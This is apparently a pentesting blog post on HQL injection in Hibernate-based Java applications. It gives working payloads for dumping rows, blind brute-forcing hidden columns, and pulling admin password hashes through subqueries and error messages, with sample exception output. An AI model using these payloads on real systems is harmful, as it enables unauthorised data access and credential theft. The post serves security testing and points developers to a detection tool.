HQL for pentesters

SQL injection is a highly coveted type of attack. Plenty of resources exist to take advantage of an injection on common DBMS (MySQL, Oracle, MS SQL, etc). But, I could not find a resource targeting Hibernate Query Language. So, here are some techniques I found reading the documentation and by trial and error.

Hibernate?

Hibernate is an ORM that does mapping of class definition (code) with associate tables and some advanced feature including caching and inheritance. It is available in Java and .NET (see NHibernate) but, it is much more popular in the Java ecosystem.

The Query Language

First thing first, the HQL queries are not sent directly to the database. The hibernate engine parse the query, interpret it and then convert it to SQL. Why does this detail matter? Because, there are two source of error messages. Some will come from the hibernate engine and others will come from the database.

The big challenge with HQL is that the usual injection patterns are missing. No union, no function to create easy delay, no system function, no metadata tables available, etc. Hibernate query language doesn't expose the fancy features that the backend database might have.

Basic techniques

The following code sample will serve for the following test. Note that the malicious input will always be between the percentage symbols.

session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

Listing all entities

Let's start with something basic: listing all the books.

from Book
where title like '%'
  or 1=1
  or ''='%'
  and published = true

Accessing hidden column

Even tough the UNION operator is unavailable, we can still blindly brute force value of column not exposed.

from Book
where title like '%'
  and promoCode like 'A%'
  or 1=2
  and ''='%'
  and published = true

from Book
where title like '%'
  and promoCode like 'B%'
  or 1=2 and ''='%'
  and published = true

[...]

Listing column

One might ask how can we find this hidden column/field if their are no metadata tables. I found a little trick that can only work if hibernate exception message are return to the client. If a column name is not part of the entity definition hibernate has, hibernate will leave the expression untouched.

from Book
where title like '%' 
  and DOESNT_EXIST=1 and ''='%' 
  and published = true

The previous value will trigger the exception :

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
      select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]

From this exception, we can see the list of column implicitly targeted by the hibernate query.

Accessing different tables

As mention before, HQL does not support UNION queries. Joins with other tables are possible but only if the model has explicitelly define the relationship. The only way I have found to access other tables is using subqueries.

For example, the following query will select an entry from the table associate to the "User" entity.

from Book
where title like '%'
  and (select substring(password,1,1) from User where username='admin') = 'a'
  or ''='%'
  and published = true

It is now possible to follow the usual blind SQL injection pattern.

Non blind injection
Blind injection can be time consuming. If the exception message are exposed, you can directly get any values. To do so, you need to cast a selected value to different type. For example:

from Book
where title like '%11'
  and (select password from User where username='admin')=1
  or ''='%'
  and published = true

Hibernate will then happily return the exception message :

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:
select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]

Bonus trick: Calling backend function
As previously mention, Hibernate will leave some unregonized columns intact in the SELECT and WHERE clause. The same behavior apply to functions. The standard procedure to call a database function is to prior register the function mapping (HQL->SQL) (in Java code) but the attacker doesn't care about portability anyway. Functions left intact in the final SQL query can help exfiltrate data (group_concat, array_agg, ...) or simply fingerprint the backend database.

For example if the database support the group_concat function..

from Book
where title like '%11'
  and (select cast(group_concat(password) as string) from User)=1
  or ''='%'
  and published = true

The exception trigger will be :

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68"; SQL statement:
select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]

Conclusion

This post was not about a hibernate vulnerability but about showing tricks to exploit HQL injections. If you are maintaining a Java web application using hibernate, you can run FindBugs with these security rules (self promotion) to identify all the potential injections related to hibernate api.

That's it! I hope I manage to give some helpful pointers.

References

HQL: The Hibernate Query Language : Hibernate official documentation
HQLmap: Probably the only tool that automate HQL injections (brute force entities and column names).
SQL Injection Wiki : Useful reference for SQL injection on multiple DBMS.
Pentestmonkey SQL Injection cheatsheets: Another good reference for SQL injection